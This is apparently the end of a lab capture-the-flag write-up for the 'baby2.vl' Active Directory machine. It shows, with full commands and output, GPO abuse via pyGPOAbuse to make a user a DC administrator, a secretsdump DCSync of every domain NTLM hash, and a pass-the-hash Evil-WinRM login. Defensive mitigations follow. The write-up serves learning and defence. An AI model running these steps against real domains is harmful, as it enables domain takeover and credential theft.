python3 pygpoabuse.py baby2.vl/GPOADM:'z1rovP@ss123!' -gpo-id "31B2F340-016D-11D2-945F-00C04FB984F9" -command "net localgroup Administrators baby2\Carl.Moore /add" -dc-ip 10.129.85.16 -f
[+] ScheduledTask TASK_780a75f3 created!

The GPO ID 31B2F340-016D-11D2-945F-00C04FB984F9 corresponds to the Default Domain Policy, which applies domain-wide, including to the Domain Controller itself. A Group Policy update like this is normally only picked up on the client's next background refresh cycle (roughly every 90–120 minutes), so rather than waiting, the still-active reverse shell on the DC as amelia.griffiths was reused to force an immediate refresh locally:

gpupdate /force
Updating policy...



Computer Policy update has completed successfully.

User Policy update has completed successfully.

The refresh pulls down the updated Default Domain Policy and triggers the injected scheduled task, which runs with SYSTEM privileges on the DC and executes the net localgroup Administrators baby2\Carl.Moore /add command configured above. The local Administrators group on the DC is confirmed to now include Carl.Moore:

net localgroup Administrators
Alias name     Administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
Carl.Moore
Domain Admins
Enterprise Admins
The command completed successfully.

Dumping Domain Credentials

With Carl.Moore now a local administrator on the Domain Controller, secretsdump was used to pull NTLM hashes for every domain account directly from the NTDS database via the DRSUAPI method. Local administrator rights on a Domain Controller are effectively equivalent to Domain Admin: the DC is the machine that physically hosts NTDS.dit, and an account with administrative control over it can reach the directory database and the DRSUAPI replication interface through that control, regardless of whether it was ever explicitly delegated "Replicating Directory Changes" rights at the domain level. That's why the DCSync-style extraction below succeeds immediately, with no additional privilege escalation step between the GPO-granted local admin and the full NTDS dump:

impacket-secretsdump baby2.vl/Carl.Moore:'Carl.Moore'@10.129.85.16 -just-dc-ntlm
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies 

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:61eb5125f9944214679c2d0fdca6eb82:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:265c7cc314db5d152fb0f0a871bc3da3:::
baby2.vl\gpoadm:1103:aad3b435b51404eeaad3b435b51404ee:f0dfc61154b2b4850806892f14084073:::
baby2.vl\Joan.Jennings:1105:aad3b435b51404eeaad3b435b51404ee:bd5acb70ec73cbb22f51e40c80b74599:::
baby2.vl\Mohammed.Harris:1106:aad3b435b51404eeaad3b435b51404ee:b25535ca0517002c81c813dfdb695548:::
baby2.vl\Harry.Shaw:1107:aad3b435b51404eeaad3b435b51404ee:e54d46c263887787160fea1a17222d78:::
baby2.vl\Carl.Moore:1108:aad3b435b51404eeaad3b435b51404ee:477296d4218a09916607f55175363065:::
baby2.vl\Ryan.Jenkins:1109:aad3b435b51404eeaad3b435b51404ee:4dee5c0c8a90d979e2a00951dcb784cb:::
baby2.vl\Kieran.Mitchell:1110:aad3b435b51404eeaad3b435b51404ee:bffc989e5001ddfab2e836a4667920cc:::
baby2.vl\Nicola.Lamb:1111:aad3b435b51404eeaad3b435b51404ee:d0cd58c867ac857358dd012d5f8a0c6d:::
baby2.vl\Lynda.Bailey:1112:aad3b435b51404eeaad3b435b51404ee:526f7e886fd44c0136cad267a9d5e601:::
baby2.vl\Joel.Hurst:1113:aad3b435b51404eeaad3b435b51404ee:98aba9f250aab45e130f065a089c8324:::
baby2.vl\Amelia.Griffiths:1114:aad3b435b51404eeaad3b435b51404ee:6dbbd6251aa7ca5168f53bdbce2f7de3:::
baby2.vl\library:1602:aad3b435b51404eeaad3b435b51404ee:8cd3a4006058951a8a087eed58afa0ea:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:74514df627ba63e4d13560c599485089:::
[*] Cleaning up... 

With the Administrator NTLM hash in hand, a pass-the-hash session was opened via Evil-WinRM:

evil-winrm -i dc.baby2.vl -u Administrator -H 61eb5125f9944214679c2d0fdca6eb82

Post Exploitation

*Evil-WinRM* PS C:\Users\Administrator\Desktop> hostname ; whoami ; ipconfig ; type root.txt
dc
baby2\administrator

Windows IP Configuration


Ethernet adapter Ethernet0 3:

   Connection-specific DNS Suffix  . : .htb
   IPv6 Address. . . . . . . . . . . : dead:beef::a68f:7e20:9549:efb7
   Link-local IPv6 Address . . . . . : fe80::645d:f56b:6cb:9734%3
   IPv4 Address. . . . . . . . . . . : 10.129.85.16
   Subnet Mask . . . . . . . . . . . : 255.255.0.0
   Default Gateway . . . . . . . . . : fe80::250:56ff:fe94:c01e%3
                                       10.129.0.1
293500962edc31fa154951eeeb57****

Mitigations

Disable guest/null session access to SMB. Guest authentication allowed unauthenticated enumeration of share names and, critically, directory contents on homes. Disable the Guest account domain-wide and audit every share for the Everyone/Guest ACE.

Remove write access from the homes share. A share intended to list usernames should never also expose write access to a low-privileged or unauthenticated principal; this alone converted an information-disclosure issue into an active reconnaissance channel. Apply least-privilege NTFS and share-level permissions per home folder, scoped to its owning user only.

Eliminate username-as-password configurations. The spray that found Carl.Moore's credentials succeeded purely because the password matched the username. Enforce a password policy with complexity requirements and proactively audit for weak/default credentials using tools like DSInternals or a custom spray against known-weak patterns before attackers do.

Lock down write permissions on NETLOGON/SYSVOL script paths. The scripts subfolder allowed a standard domain user to overwrite a logon script consumed by other, potentially higher-privileged users, effectively unauthenticated code execution as any victim who logs on. Remember that NETLOGON and SYSVOL\<domain>\scripts are the same underlying path exposed under two share names, so both need to be covered by the same ACL review. Only Domain Admins or a dedicated, tightly scoped service account should have write access there. Monitor file modification events (Event ID 4663) on this path.

Audit and restrict dangerous ACLs on sensitive objects. GPOADM had a WriteOwner edge granted to a low-privileged, compromised account, a textbook BloodHound-discoverable attack path. Regularly run BloodHound (or similar) against production AD to find and remediate WriteOwner, WriteDACL, GenericAll, and GenericWrite edges held by non-Tier-0 principals over privileged accounts.

Restrict GPO edit rights to Tier-0 administrators only. GPOADM had edit rights over the Default Domain Policy, a GPO linked at the domain root and therefore applied to every computer, including the Domain Controller. Delegated GPO administration should be scoped to specific OUs that do not include Tier-0 assets, and GPO edit permissions should never be reachable through an abusable ACL chain from a standard user account.

Treat local administrator group changes as high-severity alerts. The scheduled task pushed via the abused GPO silently added a domain user to the DC's local Administrators group. Monitor Event ID 4732 (member added to a local group) and alert on any unexpected addition, especially on Domain Controllers; remember that on a DC, this is effectively a Domain Admin grant, not a local-only privilege change.

Protect NTDS.dit and restrict DCSync-equivalent rights. Local administrator access on the DC allowed a full credential dump via secretsdump. Limit the set of accounts with local admin rights on Domain Controllers, enable Credential Guard where applicable, and monitor for DRSUAPI replication requests (Event ID 4662 with the relevant GUIDs) from non-DC principals.


Tools used: Nmap · NetExec · smbclient · bloodyAD · penelope · BloodHound CE · PowerView · pyGPOAbuse · Impacket secretsdump · Evil-WinRM